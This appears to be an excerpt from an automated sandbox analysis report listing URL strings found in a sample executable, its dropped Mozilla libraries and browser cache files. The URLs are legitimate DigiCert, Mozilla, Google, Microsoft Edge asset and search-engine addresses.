Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_542.8.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2734976148.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2727652531.000000001DD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2387136098.0000000023CA8000.00000004.00000020.00020000.00000000.sdmp, HDGIJJDG.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_542.8.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 76e21691-2031-4e4e-b8b7-2ef037ae2426.tmp.16.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2730742081.0000000023CF0000.00000004.00000020.00020000.00000000.sdmp, EGCBAFCFIJJJECBGIIJK.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2730742081.0000000023CF0000.00000004.00000020.00020000.00000000.sdmp, EGCBAFCFIJJJECBGIIJK.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.16.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000000.00000003.2387136098.0000000023CA8000.00000004.00000020.00020000.00000000.sdmp, HDGIJJDG.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2387136098.0000000023CA8000.00000004.00000020.00020000.00000000.sdmp, FBGHCGCA.0.dr, Web Data.15.dr, HDGIJJDG.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2387136098.0000000023CA8000.00000004.00000020.00020000.00000000.sdmp, FBGHCGCA.0.dr, Web Data.15.dr, HDGIJJDG.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.15.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.15.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: d75ace9c-1325-45fd-96c4-d7d5b2b8c29d.tmp.16.dr, 76e21691-2031-4e4e-b8b7-2ef037ae2426.tmp.16.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.15.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: d75ace9c-1325-45fd-96c4-d7d5b2b8c29d.tmp.16.dr, 76e21691-2031-4e4e-b8b7-2ef037ae2426.tmp.16.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2730742081.0000000023CF0000.00000004.00000020.00020000.00000000.sdmp, EGCBAFCFIJJJECBGIIJK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2730742081.0000000023CF0000.00000004.00000020.00020000.00000000.sdmp, EGCBAFCFIJJJECBGIIJK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.16.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.16.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.16.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.15.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2387136098.0000000023CA8000.00000004.00000020.00020000.00000000.sdmp, FBGHCGCA.0.dr, Web Data.15.dr, HDGIJJDG.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2387136098.0000000023CA8000.00000004.00000020.00020000.00000000.sdmp, FBGHCGCA.0.dr, Web Data.15.dr, HDGIJJDG.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2387136098.0000000023CA8000.00000004.00000020.00020000.00000000.sdmp, FBGHCGCA.0.dr, Web Data.15.dr, HDGIJJDG.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: d75ace9c-1325-45fd-96c4-d7d5b2b8c29d.tmp.16.dr, 76e21691-2031-4e4e-b8b7-2ef037ae2426.tmp.16.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log9.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log9.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log9.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log10.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.15.dr, 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.15.dr, 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.15.dr, 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.15.dr, 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log9.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.15.dr, 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.15.dr, 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.15.dr, 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.15.dr, 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log9.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 1c69d33d-6792-4804-9839-67c9ce868394.tmp.15.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_542.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
